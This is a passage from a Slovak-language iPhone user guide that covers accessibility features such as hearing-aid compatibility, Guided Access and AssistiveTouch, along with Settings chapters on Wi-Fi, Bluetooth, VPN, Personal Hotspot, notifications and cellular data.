načúvacieho prístroja. Viac v časti Trojité stlačenie tlačidla Domov na strane 129.
Kompatibilita s načúvacími prístrojmi
Agentúra FCC upravila pravidlá kompatibility načúvacích prístrojov (Hearing Aid Compatibility
- HAC) pre digitálne bezdrôtové telefóny. Tieto pravidlá vyžadujú testovanie a hodnotenie
vybraných telefónov podľa štandardov American National Standard Institute (ANSI) C63.19-
2007, ktoré sú stanovené pre kompatibilitu s načúvacími prístrojmi.
ANSI štandard pre kompatibilitu s načúvacími prístrojmi obsahuje dva typy hodnotení:
• Hodnotenie „M“ pre obmedzené rádiofrekvenčné rušenie umožňujúce akustické prepojenie
s načúvacími prístrojmi, ktoré nepracujú v režime telecoil.
• Hodnotenie „T“ pre indukčné prepojenie s načúvacími prístrojmi, ktoré pracujú v
režime telecoil.
Hodnotenie prebieha na stupnici od jedna do štyri, kde štyri znamená najväčšiu kompatibilitu.
Podľa pravidiel FCC sa telefón považuje za kompatibilný, ak dosiahol hodnotenie M3 alebo M4
pri akustickom spojení a T3 alebo T4 pri indukčnom spojení.
Informácie o aktuálnom hodnotení kompatibility iPhonu s načúvacími prístrojmi nájdete na
adrese www.apple.com/support/hac.Kapitola 32 Prístupnosť 132
Tieto hodnotenia však nezaručujú, že bude konkrétny model telefónu spolupracovať s
konkrétnym načúvacím zariadením. Niektoré načúvacie zariadenia fungujú dobre aj s
telefónmi, ktoré nespĺňajú konkrétne hodnotenia. Ak si chcete byť istý kompatibilitou telefónu
a načúvacieho prístroja, skúste ich pred zakúpením otestovať.
Tento iPhone bol testovaný a hodnotený na používanie s načúvacími prístrojmi pre niektoré
z bezdrôtových technológií, ktoré používa. Napriek tomu môže tento telefón využívať novšie
bezdrôtové technológie, ktoré zatiaľ neboli testované na používanie s načúvacími prístrojmi.
Je dôležité dôkladne si vyskúšať rôzne funkcie tohto telefónu na rôznych miestach s vaším
načúvacím prístrojom alebo kochleárnym implantátom a zistiť, či nedochádza k rušeniu.
Informácie o kompatibilite načúvacích prístrojov zistíte u svojho poskytovateľa služby alebo
priamo u Apple. Otázky týkajúce sa vrátenia alebo výmeny tovaru konzultujte so svojím
poskytovateľom služby alebo predajcom telefónu.
Režim načúvací prístroj
iPhone 4 obsahuje režim Načúvací prístroj, ktorý môže po aktivácii znížiť rušenie niektorých
typov načúvacích prístrojov. Režim načúvací prístroj obmedzuje výkon mobilného vysielača v
pásme GSM 1900, čo môže mať za následok zníženú silu mobilného 2G signálu.
Aktivovanie režimu Načúvací prístroj: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Načúvacie prístroje.
Priraditeľné zvonenia a vibrácie
Jednotlivým ľuďom z vášho zoznamu kontaktov môžete priradiť špecifické zvonenia, takže
ich bude možné identifikovať podľa zvuku. Môžete si tiež vytvoriť špecifické vibrovania pre
hlásenia jednotlivých aplikácií, telefónne hovory, FaceTime hovory alebo správy od špecifických
kontaktov.Vlastné vibrovania vás tiež môžu upozorniť na ďalšie udalosti, ako napríklad nový
odkaz, odoslanie emailu, Tweetu, príspevku na Facebook alebo na pripomienku. Vyberte si
niektoré z existujúcich vibrovaní, prípadne si vytvorte nové. Viac v časti Zvuky na strane 145.
Zvonenia si môžete zakúpiť v iTunes Store na vašom iPhone. Viac v časti kapitola 22,
iTunes Store, na strane 98.
Upozorňovanie bleskom
Ak nepočujete zvuky oznamujúce prichádzajúce hovory a ďalšie upozornenia, môžete nastaviť
iPhone tak, aby vás na ne upozorňoval pomocou LED blesku (nachádza sa vedľa fotoaparátu
v zadnej časti iPhonu). Upozorňovanie bleskom funguje iba ak je iPhone zamknutý alebo v
režime spánku. Táto funkcia je dostupná len na iPhone 4 a novších modeloch.
Zapnutie funkcie upozorňovanie bleskom: Prejdite do Nastavenia > Všeobecné >
Prístupnosť > Upozorňovať bleskom.
Asistovaný prístup
Asistovaný prístup vám môže pomôcť sústrediť sa počas používania iPhonu na konkrétnu
úlohu. Asistovaný prístup obmedzí používanie iPhonu na jedinú aplikáciu a umožňuje vám
kontrolovať dostupnosť funkcií aplikácie. Asistovaný prístup môžete využiť na:
• Dočasné obmedzenie iPhonu na konkrétnu aplikáciu
• Zakázanie oblastí na obrazovke, ktoré nie sú dôležité pre vykonávanie danej úlohy alebo
oblastí, v ktorých nebude vykonávať žiadne gestá
• Zakázanie hardvérových tlačidiel iPhonuKapitola 32 Prístupnosť 133
Používanie Asistovaného prístupu: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
Asistovaný prístup a môžete:
• Zapnúť alebo vypnúť Asistovaný prístup
• Nastaviť heslo určené na ovládanie Asistovaného prístupu a zabrániť tak užívateľom v
opustení aktívnej relácie
• Nastaviť, či môže iPhone počas aktívnej relácie zaspať
Spustenie Asistovaného prístupu: Otvorte aplikáciu, ktorá má byť spustená a trikrát stlačte
tlačidlo Domov. Upravte nastavenia relácie a kliknite na Spustiť.
• Zakázanie ovládacích prvkov aplikácie a oblastí na obrazovke: Zakrúžkujte tie časti obrazovky,
ktoré chcete zakázať. Veľkosť oblastí môžete upraviť pomocou rukovätí.
• Ignorovanie všetkých dotykov na obrazovke: Vypnite Dotyk.
• Zabránenie otáčania obrazovky alebo reagovania na iné pohyby: Vypnite Pohyb.
Ukončenie Asistovaného prístupu: Trikrát stlačte tlačidlo Domov a zadajte heslo pre
Asistovaný prístup.
AssistiveTouch
Funkcia AssistiveTouch vám uľahčuje používanie iPhonu v prípade, že máte problémy so
stláčaním tlačidiel alebo ovládaním dotykovej obrazovky. iPhone môžete ovládať pomocou
funkcie AssistiveTouch spolu s kompatibilným adaptívnym príslušenstvom (ako je napríklad
joystick). Funkciu AssistiveTouch môžete používať na uľahčenie vykonávania ťažkých gest aj
bez použitia príslušenstva.
Zapnutie funkcie AssistiveTouch: Prejdite do Nastavenia > Všeobecné > Prístupnosť >
AssistiveTouch. Zapínanie a vypínanie funkcie AssistiveTouch môžete priradiť aj trojitému
stlačeniu tlačidla Domov. Prejdite do Nastavenia > Všeobecné > Prístupnosť > Trojité
stlačenie Domov.
Úprava rýchlosti pohybu (s pripojeným príslušenstvom): Nastavenia > Všeobecné >
Prístupnosť > AssistiveTouch > Rýchlosť dotyku.
Zobrazenie a skrytie menu funkcie AssistiveTouch: Kliknite na sekundárne tlačidlo na
vašom príslušenstve.
Presunutie tlačidla menu: Potiahnite ho na ľubovoľný okraj obrazovky.
Skrytie tlačidla menu (s pripojeným príslušenstvom): Prejdite do Nastavenia > Všeobecné >
Prístupnosť > AssistiveTouch > Vždy zobraziť menu.
Vykonanie potiahnutie alebo ťahania, ktoré vyžaduje 2, 3, 4 alebo 5 prstov: Klepnite na
tlačidlo menu, klepnite na Gestá a potom klepnite na počet prstov potrebných na vykonanie
gesta. Po tom, čo sa na obrazovke zobrazia kruhy (ich počet zodpovedá počtu prstov),
potiahnite prsty v smere vyžadovanom gestom. Po skončení klepnite na tlačidlo menu.
Vykonanie gesta priblíženia alebo oddialenia dvoch prstov: Klepnite na tlačidlo Menu,
klepnite na Obľúbené a potom klepnite na Zovrieť. Na obrazovke sa zobrazia kruhy pre
vykonanie gesta zovrieť. Klepnutím kdekoľvek na obrazovke presuniete tieto kruhy na dané
miesto. Potiahnutím kruhov vykonáte gesto určené na zmenšovanie alebo zväčšovanie. Po
skončení klepnite na tlačidlo menu.
Vytvorenie vlastného gesta: Klepnite na tlačidlo Menu, klepnite na Obľúbené a potom
klepnite na kontajner bez gesta. Prípadne prejdite do Nastavenia > Všeobecné > Prístupnosť >
AssistiveTouch > Vytvoriť nové gesto.Kapitola 32 Prístupnosť 134
Odomknutie alebo otočenie displeja, úprava hlasitosti iPhonu alebo simulácia zatrasenia
iPhonom: Klepnite na tlačidlo menu a potom klepnite na Zariadenie.
Simulácia stlačenia tlačidla Domov: Klepnite na tlačidlo menu a potom klepnite na Domov.
Opustenie menu bez vykonania gesta: Klepnite kdekoľvek mimo menu.
Prístupnosť v OS X
Pri používaní iTunes na synchronizáciu informácií a obsahu svojej knižnice iTunes s iPhonom,
využite funkcie služby Prístupnosť v OS X. V aplikácii Finder vyberte Pomocník > Centrum
pomoci a potom vyhľadajte termín „prístupnosť“.
Viac informácií o funkciách prístupnosti zariadenia iPhonu a systému OS X nájdete na adrese
www.apple.com/accessibility.
Podpora ďalekopisu - TTY
Na pripojenie iPhonu k TTY prístroju môžete použiť adaptér iPhone TTY (dostupný osobitne
v mnohých oblastiach). Navštívte www.apple.com/store (služba nemusí byť dostupná vo
všetkých oblastiach), alebo kontaktujte vášho lokálneho predajcu Apple.
Pripojenie iPhonu k ďalekopisnému stroju: Prejdite do Nastavenia > Telefón a zapnite
možnosť TTY. Potom pripojte váš iPhone k TTY prístroju pomocou adaptéra iPhone TTY.
Ak je na iPhone zapnuté TTY, v stavovom riadku vo vrchnej časti obrazovky sa zobrazí
ikona TTY . Pre viac informácií o používaní ďalekopisného stroja si pozrite k nemu
priloženú dokumentáciu.
Minimálna veľkosť písma emailových správ
Ak chcete zlepšiť čitateľnosť textu emailov, nastavte minimálnu veľkosť písma v aplikácii Mail
na Veľké, Extra veľké alebo Obrovské.
Nastavenie minimálnej veľkosti písma emailových správ: Prejdite do Nastavenia > Mail,
kontakty, kalendáre > Veľkosť písma.
Veľkosť písma nastavená pomocou funkcie Veľký text anuluje toto nastavenie.
Priraditeľné zvonenia
Jednotlivým ľuďom z vášho zoznamu kontaktov môžete priradiť špecifické zvonenia, takže ich
bude možné identifikovať podľa zvuku. Zvonenia si môžete zakúpiť v iTunes Store na vašom
iPhone. Viac v časti kapitola 22, iTunes Store, na strane 98.
Visual Voicemail (vizuálna odkazová schránka)
Ovládacie prvky pre prehrávanie a pozastavenie prehrávania odkazu v službe „Visual Voicemail“
vám umožňujú ovládať prehrávanie správ. Potiahnutím posuvníka na indikátore priebehu
prehrávania môžete opakovane prehrať tú časť správy, ktorá vám nie je zrozumiteľná. Viac v
časti Visual Voicemail (vizuálna odkazová schránka) na strane 50.Kapitola 32 Prístupnosť 135
Klávesnica orientovaná na šírku
Množstvo aplikácií, vrátane aplikácií Mail, Safari, Správy, Poznámky a Kontakty, vám umožňujú
otočiť iPhone počas písania, takže môžete používať väčšiu klávesnicu.
Veľká klávesnica telefónu
Telefonujte jednoduchým klepnutím na položky v zozname kontaktov a obľúbených položiek.
Vytáčanie čísel vám uľahčí veľká numerická klávesnica na iPhone. Viac v časti Telefonické
hovory na strane 46.
Ovládanie hlasom
Ovládanie hlasom vám umožňuje uskutočňovať telefónne hovory a ovládať prehrávanie hudby
pomocou hlasových príkazov. Viac v časti Vykonávanie hovorov na strane 46 a Siri a Ovládanie
hlasom na strane 65.
Skryté titulky
Zapnutie skrytých titulkov vo videách: Prejdite do Nastavenia > Videá > Skryté titulky.
Nie všetky videá obsahujú skryté titulky.33
136
Aplikácia Nastavenia vám umožňuje konfigurovať iPhone, nastavovať možnosti aplikácií,
pridávať účty a meniť ďalšie nastavenia. Informácie týkajúce sa nastavovania vstavaných
aplikácií nájdete v ďalších kapitolách. Napríklad informácie o nastaveniach Safari nájdete v
časti kapitola 7, Safari, na strane 58.
Režim lietadlo
Režim lietadlo deaktivuje všetky bezdrôtové funkcie kvôli zníženiu možných interferencií s
prístrojmi lietadla a iným elektronickým vybavením.
Aktivácia režimu lietadlo: Prejdite do aplikácie Nastavenia a zapnite Režim lietadlo.
Ak je režim lietadlo spustený, v stavovom riadku vo vrchnej časti obrazovky sa zobrazí symbol
. iPhone nevysiela žiadny telefonický, rádiový, Wi-Fi ani Bluetooth signál a príjem GPS je
vypnutý. Nebude možné používať aplikácie ani funkcie, ktoré sú závislé na týchto signáloch
(napríklad pripájať sa na internet, vykonávať a prijímať telefonické hovory, odosielať a
prijímať textové správy, získavať správy visual voicemail a ďalšie). Ak je to povolené leteckou
spoločnosťou a platnými zákonmi a nariadeniami, môžete na iPhone používať aplikácie, ktoré
nevyžadujú tieto signály.
Ak je dostupná Wi-Fi sieť, je to povolené leteckým operátorom a platnými zákonmi a
nariadeniami, môžete prejsť do Nastavenia > Wi-Fi a zapnúť Wi-Fi. Môžete tiež zapnúť
Bluetooth v Nastavenia > Bluetooth.
Wi-Fi
Pripájanie k Wi-Fi sieťam
Nastavenia Wi-Fi slúžia na pripojenie zariadenia iPhone na internet pomocou lokálnych Wi-Fi
sietí. Keď je iPhone pripojený k Wi-Fi sieti, zobrazuje ikona Wi-Fi v stavovom riadku vo
vrchnej časti obrazovky intenzitu Wi-Fi signálu. Čím viac paličiek vidíte, tým je signál silnejší.
Ak nie sú v oblasti dostupné žiadne Wi-Fi siete, alebo ak je Wi-Fi vypnuté, iPhone sa pripojí na
internet prostredníctvom vašej mobilnej dátovej siete (v prípade, že je dostupná).
Po pripojení k Wi-Fi sieti sa iPhone bude k tejto sieti pripájať vždy, keď bude v jej dosahu. Ak je
v dosahu viac než jedna už použitá sieť, iPhone sa pripojí k tej, ktorá bola použitá naposledy.
iPhone môžete použiť aj na nastavenie novej základne AirPort, ktorá poskytuje Wi-Fi služby
ďalším zariadeniam doma alebo v kancelárii. Viac v časti Nastavenie základne AirPort na
strane 137.
NastaveniaKapitola 33 Nastavenia 137
Zapnutie alebo vypnutie Wi-Fi: Prejdite do Nastavenia > Wi-Fi. Môžete vykonať nasledovné:
• Nastaviť iPhone tak, aby vyžadoval vaše potvrdenie pri pripájaní sa k novej sieti: Zapnite
alebo vypnite možnosť „Potvrdiť pripojenie“. Ak je možnosť „Potvrdiť pripojenie“ vypnutá
a posledná použitá sieť nie je v dosahu, musíte sa pre pripojenie na internet pripojiť k sieti
Wi-Fi manuálne.
• Odstrániť už použitú sieť, takže iPhone sa k nej viac nebude pripájať: Klepnite na vedľa siete,
ku ktorej ste už boli pripojení. Potom klepnite na Odstrániť zo zoznamu.
• Pripojiť sa k uzavretej Wi-Fi sieti: V zozname názvov sietí klepnite na Iné a zadajte názov
uzavretej siete. Pri prihlasovaní sa k uzavretej sieti musíte vopred poznať názov siete, heslo a
typ zabezpečenia danej siete.
• Upraviť nastavenia pre pripájanie k Wi-Fi sieti: Klepnite na vedľa siete. Môžete nastaviť
HTTP proxy, definovať nastavenia statickej siete, zapnúť BootP alebo obnoviť nastavenia,
ktoré poskytuje DHCP server.
Nastavenie základne AirPort
Základňa AirPort poskytuje Wi-Fi pripojenie k sieti u vás doma, v škole alebo vo vašej firme.
iPhone môžete použiť na nastavenie novej základne AirPort Express, AirPort Extreme alebo
Time Capsule.
Použitie Sprievodcu nastavením AirPortu: Prejdite do Nastavenia > Wi-Fi. V časti „Nastaviť
základňu AirPort“ klepnite na názov základne, ktorú chcete nastaviť. Potom sa riaďte
inštrukciami na obrazovke.
Ak základňa, ktorú chcete nastaviť, nie je uvedená v zozname, uistite sa, že je pripojená k zdroju
napájania, že ste v jej dosahu a že zatiaľ nebola nakonfigurovaná. Nastaviť môžete len nové
základne alebo základne, ktoré boli resetované. Niektoré staršie typy základní nie je možné
nastaviť pomocou iOS zariadenia. Informácie týkajúce sa nastavenia nájdete v dokumentácii
dodanej so zariadením.
Spravovanie siete AirPort: Ak je iPhone pripojený k základni AirPort, klepnite na vedľa
názvu siete. Ak ešte nemáte stiahnutú aplikáciu AirPort utilita, otvorí sa obchod App Store, kde
si ju môžete stiahnuť.
Bluetooth
iPhone sa môže bezdrôtovo spájať s inými Bluetooth zariadeniami, ako sú napríklad náhlavné
sady a slúchadlá s mikrofónom alebo sady do áut určené na počúvanie hudby a hands-free
telefonovanie. Prostredníctvom Bluetooth môžete tiež pripojiť bezdrôtovú Apple klávesnicu.
Viac v časti Bezdrôtová Apple klávesnica na strane 27.
Vypnutie alebo zapnutie Bluetooth: Prejdite do Nastavenia > Bluetooth.
Pripojenie k Bluetooth zariadeniu: V zozname Zariadenia klepnite na zariadenie a pomocou
inštrukcií na obrazovke sa k nemu pripojte. Informácie týkajúce sa párovania Bluetooth
zariadenia nájdete v dokumentácii, ktorá sa dodáva so zariadením.
VPN
Vaša organizácia môže používať VPN na bezpečný prenos súkromných informácií cez verejnú
sieť. VPN je potrebné nastaviť napríklad vtedy, ak chcete pristupovať k svojim pracovným
emailom. Toto nastavenie sa zobrazí, ak máte na svojom iPhone nakonfigurované pripojenie k
VPN (virtuálna privátna sieť). Nastavenie vám umožňuje zapnúť alebo vypnúť VPN. Viac v časti
Mobilné na strane 141.Kapitola 33 Nastavenia 138
Zdieľanie internetu
Zdieľanie internetu (iPhone 4 novšie modely) môžete použiť na zdieľanie internetového
pripojenia s iným počítačom alebo zariadením (iPod touch, iPad alebo iný iPhone), ktoré je
pripojené k vášmu iPhonu cez Wi-Fi. Pomocou zdieľania internetu môžete zdieľať internetové
pripojenie aj s počítačom, ktorý je pripojený k vášmu iPhonu cez Bluetooth alebo USB.
Zdieľanie internetu funguje len v prípade, že je iPhone pripojený na internet prostredníctvom
mobilnej dátovej siete.
Poznámka: Táto funkcia nemusí byť dostupná vo všetkých oblastiach. Služba môže byť
spoplatnená. Pre viac informácií kontaktujte svojho operátora.
Zdieľanie internetového pripojenia: Prejdite do Nastavenia > Všeobecné > Mobilné a klepnite
na Nastaviť zdieľanie internetu (ak sa táto možnosť zobrazí) pre nastavenie tejto služby u
svojho operátora.
Po zapnutí zdieľania internetu sa môžu nasledovnými spôsobmi pripájať ďalšie zariadenia:
• Wi-Fi: Na zariadení vyberte v zozname dostupných Wi-Fi sietí váš iPhone.
• USB: Pripojte iPhone k svojmu počítaču pomocou priloženého kábla. V nastaveniach siete
svojho počítača vyberte iPhone a upravte nastavenia siete.
• Bluetooth: Na iPhone prejdite do Nastavenia > Bluetooth a zapnite Bluetooth. Informácie
o spárovaní a prepojení iPhonu s vaším počítačom nájdete v dokumentácii dodanej
s počítačom.
Ak je zariadenie pripojené, zobrazí sa v hornej časti obrazovky iPhonu modrý pás. Zdieľanie
internetu prostredníctvom USB zostáva zapnuté, aj keď ho aktívne nepoužívate.
Poznámka: V stavovom riadku iOS zariadení, ktoré využívajú zdieľanie internetu, sa zobrazí
ikona zdieľania internetu .
Zmena hesla Wi-Fi pre iPhone: Prejdite do Nastavenia > Zdieľanie internetu > Heslo Wi-Fi a
potom zadajte heslo s dĺžkou minimálne 8 znakov.
Monitorovanie využívania mobilnej dátovej siete: Prejdite do Nastavenia > Všeobecné >
Štatistiky > Mobilné používanie.
Funkcia Nerušiť a hlásenia
Hlásenia typu „push“ sa zobrazujú v centre hlásení a upozorňujú vás na nové informácie aj
vtedy, ak nie je spustená príslušná aplikácia. Hlásenia závisia od aplikácie a môžu obsahovať
textové alebo zvukové upozornenia, prípadne odznak s číslom na ikone aplikácie na ploche.
Vypnutie všetkých hlásení: Prejdite do aplikácie Nastavenia a zapnite funkciu Nerušiť. Ak je
táto funkcia zapnutá a iPhone je zamknutý, budú stíšené všetky hlásenia a hovory, no budíky
sa budú naďalej prehrávať. V časti Nastavenia > Hlásenia > Nerušiť môžete upraviť nasledovné
možnosti:
• Automatické zapínanie funkcie Nerušiť: Nastavte si začiatok a koniec časti dňa, kedy nechcete
byť rušení. Počas týchto hodín iPhone zapne funkciu Nerušiť.
• Povolenie hovorov z vybraných čísiel v čase, kedy nechcete byť rušení: Ak je zapnutá funkcia
Nerušiť, sú hovory automaticky odosielané do odkazovača. Ak chcete povoliť zvonenie
pri hovoroch z vybraných čísiel, klepnite na Povoliť hovory od. Môžete povoliť hovory zo
zoznamu Obľúbené alebo z inej skupiny kontaktov. Informácie o Obľúbených nájdete v časti
kapitola 25, Kontakty, na strane 104.Kapitola 33 Nastavenia 139
• Povolenie zvonenia opakovaných hovorov: Zapnite Opakované hovory. Ak rovnaký volajúci
(podľa ID volajúceho) zavolá dvakrát v priebehu troch minút, bude iPhone zvoniť.
Zapínanie alebo vypínanie hlásení aplikácií: Prejdite do Nastavenia > Hlásenia. Klepnite
na položku v zozname a potom pre ňu zapnite alebo vypnite hlásenia. Aplikácie, ktoré majú
vypnuté hlásenia, sa zobrazia v zozname Nie v centre hlásení.
Zmena zobrazenia hlásení: Prejdite do Nastavenia > Hlásenia. Môžete vykonať nasledovné:
• Zmeniť počet hlásení: V zozname centra hlásení vyberte danú položku. Ak chcete nastaviť
počet hlásení tohto typu, ktoré sa zobrazia v centre hlásení, klepnite na Zobraziť.
• Zmeniť štýl upozornenia: V zozname centra hlásení vyberte danú položku. Vyberte štýl
upozornenia alebo výberom možnosti Žiadne vypnite upozornenia a bannery. Hlásenia sa
prestanú zobrazovať v Centre hlásení.
• Zmeniť poradie hlásení: Klepnite na Upraviť. Ťahaním upravte hlásenia do želaného poradia.
Ak chcete vypnúť hlásenie, potiahnite ho do zoznamu Nie v centre hlásení.
• Zobrazovať odznaky s číslami na ikonách aplikácií s hlásením: Vyberte položku v zozname
V centre hlásení a zapnite možnosť Odznak na aplikácii.
• Skryť upozornenia aplikácie ak je iPhone zamknutý: Vyberte aplikáciu v zozname V centre
hlásení a vypnite možnosť Na zamknutej ploche.
Niektoré aplikácie obsahujú aj ďalšie možnosti. Napríklad aplikácia Správy vám umožňuje
špecifikovať počet opakovaní zvuku upozornenia a to, či majú hlásenia obsahovať aj
náhľad správy.
Odstránenie príspevkov na Facebooku a Tweetov z centra hlásení: Tieto možnosti zdieľania
sa zobrazia len ak máte nastavený Facebook alebo Twitter účet. Ak chcete odstrániť tieto
tlačidlá, prejdite do Nastavenia > Hlásenia a vypnite možnosť Widget zdieľanie.
Zobrazenie vládnych upozornení v centre hlásení: V zozname Government Alerts si vyberte
upozornenia, ktoré sa majú zobrazovať. Tieto upozornenia nie sú dostupné vo všetkých
oblastiach, líšia sa v závislosti od modelu iPhonu a vášho operátora a nemusia fungovať vo
všetkých podmienkach. Napríklad v USA môžete na iPhone 4S a novších modeloch prijímať
prezidentské upozornenia a môžete zapínať a vypínať AMBER upozornenia a Emergency
upozornenia. V Japonsku môžete na iPhone 4 a novších modeloch prijímať upozornenia na
zemetrasenia od japonskej meteorologickej služby.
Operátor
Toto nastavenie sa zobrazí v GSM sieťach v prípade, že ste mimo dosahu siete svojho
mobilného operátora a v oblasti sú dostupné iné dátové siete, ktoré je možné použiť na
telefonovanie, službu „Visual Voicemail“ a pripojenie na internet cez mobilnú dátovú sieť.
Telefonovať môžete len u tých operátorov, ktorí majú s vaším operátorom uzatvorenú
roamingovú zmluvu. Služba môže byť spoplatnená. Roamingové poplatky vám môžu byť
vyúčtované prostredníctvom vášho operátora.
Výber operátora: Prejdite do Nastavenia > Operátor a vyberte sieť, ktorú chcete používať.
Akonáhle vyberiete sieť, bude iPhone používať už len túto sieť. Ak vybraná sieť nie je dostupná,
zobrazí sa na obrazovke zariadenia iPhone nápis „Žiadna sieť“.Kapitola 33 Nastavenia 140
Všeobecné
Všeobecné nastavenia obsahujú nastavenia siete, zdieľania, bezpečnosti a ďalšie nastavenia.
Môžete tu tiež nájsť informácie o iPhone a resetovať rôzne nastavenia zariadenia iPhone
Informácie
Zobrazenie informácií o iPhone: Prejdite do Nastavenia > Všeobecné > Informácie. Položky,
ktoré si môžete prezerať zahŕňajú:
• Dostupné úložné miesto
• Sériové číslo
• Verzia iOS
• Sieťová adresa
• IMEI (International Mobile Equipment Identity)
• ICCID (Integrated Circuit Card Identifier alebo Smart Card) pre GSM siete
• MEID (Mobile Equipment Identifier) pre CDMA siete
• Právne informácie, licenciu a normy.
Ak chcete kopírovať sériové číslo alebo iný identifikátor, podržte na ňom prst, až kým sa
nezobrazí Kopírovať.
Zmena názvu zariadenia: Prejdite do Nastavenia > Všeobecné > Informácie a potom klepnite
na Názov. Názov zariadenia sa zobrazí v postrannom paneli iTunes po pripojení k iTunes a
zároveň ho používa iCloud.
iPhone odosiela diagnostické informácie a informácie týkajúce sa používania za účelom
vylepšovania Apple produktov a služieb. Tieto dáta neobsahujú žiadne osobné informácie, no
môžu obsahovať informácie o polohe.
Prezeranie alebo vypnutie diagnostických informácií: Prejdite do Nastavenia > Všeobecné >
Informácie > Diagnostika a používanie.
Aktualizácia softvéru
Aktualizácia softvéru vám umožňuje sťahovať a inštalovať aktualizácie iOS od spoločnosti
Apple.
Aktualizácia na najnovšiu verziu: Prejdite do Nastavenia > Všeobecné > Aktualizácia softvéru.
Ak je dostupná novšia verzia iOS, riaďte sa počas jej sťahovania a inštalácie inštrukciami
na obrazovke.
Štatistiky používania
Zobrazenie informácií o používaní: Prejdite do Nastavenia > Všeobecné > Štatistiky. Môžete
vykonať nasledovné:
• Zobraziť používanie mobilnej siete a resetovať štatistiky
• Zobraziť a vymazať zálohy v iCloude, vypnúť zálohovanie albumu Fotoaparát a dokupovať
ďalší úložný priestor
• Prezerať si úložný priestor každej aplikácie
• Zobraziť úroveň nabitia batérie v percentách
• Zobraziť čas, ktorý uplynul od nabitia iPhonuKapitola 33 Nastavenia 141
Siri
Povolenie Siri: Prejdite do Nastavenia > Všeobecné > Siri.
Viac informácií o používaní Siri a zmene nastavení nájdete v časti Nastavenie možností Siri na
strane 43.
Mobilné
Pomocou nastavení v časti Mobilné môžete zapínať a vypínať mobilné dáta a roaming, nastaviť
zdieľanie internetu a nastaviť možnosti mobilných dát.
Ak sa niektorá aplikácia potrebuje pripojiť na internet, iPhone vykoná postupne nasledovné
úkony, až kým nepripojí:
• Pripojí sa prostredníctvom naposledy použitej dostupnej Wi-Fi siete.
• Zobrazí zoznam Wi-Fi sietí v dosahu a pripojí sa prostredníctvom siete, ktorú vyberiete.
• Pripojí sa prostredníctvom mobilnej dátovej siete (ak je dostupná).
Ak je iPhone pripojený na internet prostredníctvom mobilnej dátovej siete, zobrazí sa v
stavovom riadku ikona , , , alebo .
Mobilné siete LTE, 4G a 3G v sieti GSM podporujú simultánnu hlasovú a dátovú komunikáciu.
Ak ste pripojení k inému typu mobilnej siete, nemôžete telefonovať a zároveň používať
internetové služby, pokiaľ iPhone nie je pripojený na internet prostredníctvom Wi-Fi. V
závislosti od pripojenia k sieti je možné, že nebudete môcť prijímať telefónne hovory, kým
iPhone prenáša dáta cez mobilnú sieť — napríklad počas sťahovania webovej stránky.
GSM siete: S pripojením EDGE alebo GPRS môžu byť hovory počas dátových prenosov
presmerované priamo do odkazovej schránky. Dátové prenosy budú pozastavené počas
hovorov, na ktoré sa rozhodnete odpovedať.
CDMA siete: S pripojením EV-DO sú pri odpovedaní na prichádzajúce hovory dátové prenosy
pozastavené. S 1xRTT pripojením môžu byť hovory počas dátových prenosov presmerované
priamo do odkazovej schránky. Dátové prenosy budú pozastavené počas hovorov, na ktoré sa
rozhodnete odpovedať.
Dátové prenosy budú pokračovať po ukončení hovoru.
Ak sú vypnuté mobilné dáta, všetky dátové služby budú používať len Wi-Fi — vrátane emailu,
prezerania webových stránok, push hlásení a ďalších služieb. Ak sú zapnuté mobilné dáta,
môže byť prenos dát v sieti operátora spoplatnený. Napríklad niektoré funkcie a služby, ako
Siri alebo iMessage, prenášajú dáta a využívanie týchto funkcií a služieb môže ovplyvniť výšku
poplatkov za dátový program.
Vypnutie a zapnutie Mobilných dát: Prejdite do Nastavenia > Všeobecné > Mobilné a vypnite
alebo zapnite Mobilné dáta. Dostupné môžu byť aj nasledovné možnosti:
• Zapnutie alebo vypnutie hlasového roamingu (CDMA): Ak sa chcete vyhnúť poplatkom za
používanie sietí iných operátorov, vypnite hlasový roaming. Ak nie je dostupná sieť vášho
operátora, iPhone nebude poskytovať mobilné (hlasové alebo dátové) služby.
• Zapnutie alebo vypnutie dátového roamingu: Dátový roaming umožňuje prístup na internet
cez mobilnú dátovú sieť v prípade, že sa nenachádzate v dosahu siete vášho mobilného
operátora. Keď cestujete a chcete sa vyhnúť neočakávaným poplatkom za dátový roaming,
vypnite túto funkciu. Viac v časti Operátor na strane 139.Kapitola 33 Nastavenia 142
• Zapnutie alebo vypnutie siete 3G: Používanie siete 3G načíta v niektorých prípadoch
internetové údaje rýchlejšie, ale môže skrátiť výdrž batérie. Ak veľa telefonujete, môžete sieť
3G vypnúť a predĺžiť tak výdrž batérie. Táto možnosť nie je dostupná vo všetkých oblastiach.
Nastavenie zdieľania internetu: Prejdite do Nastavenia > Všeobecné > Mobilné > Nastaviť
zdieľanie internetu. Zdieľanie internetu zdieľa internetové pripojenie iPhonu s vašim počítačom
a iOS zariadeniami. Viac v časti Zdieľanie internetu na strane 138.
Nastavenie používania mobilných dát: Prejdite do Nastavenia > Všeobecné > Mobilné a
zapnite alebo vypnite mobilné dáta pre iCloud Dokumenty, iTunes, FaceTime, aktualizácie
Passbooku alebo zoznam Na prečítanie. Ak sú tieto nastavenia vypnuté, iPhone bude používať
len Wi-Fi. iTunes zahŕňa službu iTunes Match aj automatické sťahovania z obchodov iTunes
Store a App Store.
VPN
Siete typu VPN sa používajú v mnohých organizáciách a umožňujú bezpečný prenos
súkromných informácií cez verejnú sieť. VPN je potrebné nastaviť napríklad vtedy, ak chcete
pristupovať k svojim pracovným emailom. Informácie o nastaveniach VPN siete získate u svojho
správcu siete. Po nastavení jedného alebo viacerých VPN pripojení môžete:
• Vypnúť alebo zapnúť VPN: Prejdite do Nastavenia > VPN.
• Prepínať medzi jednotlivými VPN: Prejdite do Nastavenia > Všeobecné > VPN a
vyberte konfiguráciu.
Viac v časti Príloha A, iPhone ako pracovný nástroj, na strane 148.
Wi-Fi synch. s iTunes
iPhone môžete synchronizovať s iTunes na počítači, ktorý je pripojený k rovnakej Wi-Fi sieti.
Povolenie funkcie Wi-Fi synch. s iTunes: Ak nastavujete synchronizáciu prostredníctvom Wi-Fi
prvý krát, pripojte iPhone k počítaču, s ktorým ho chcete synchronizovať. Inštrukcie nájdete v
časti Synchronizácia s iTunes na strane 17.
Po nastavení synchronizácie prostredníctvom Wi-Fi sa bude iPhone automaticky
synchronizovať s iTunes raz denne, po splnení nasledovných podmienok:
• iPhone je pripojený k zdroju napájania,
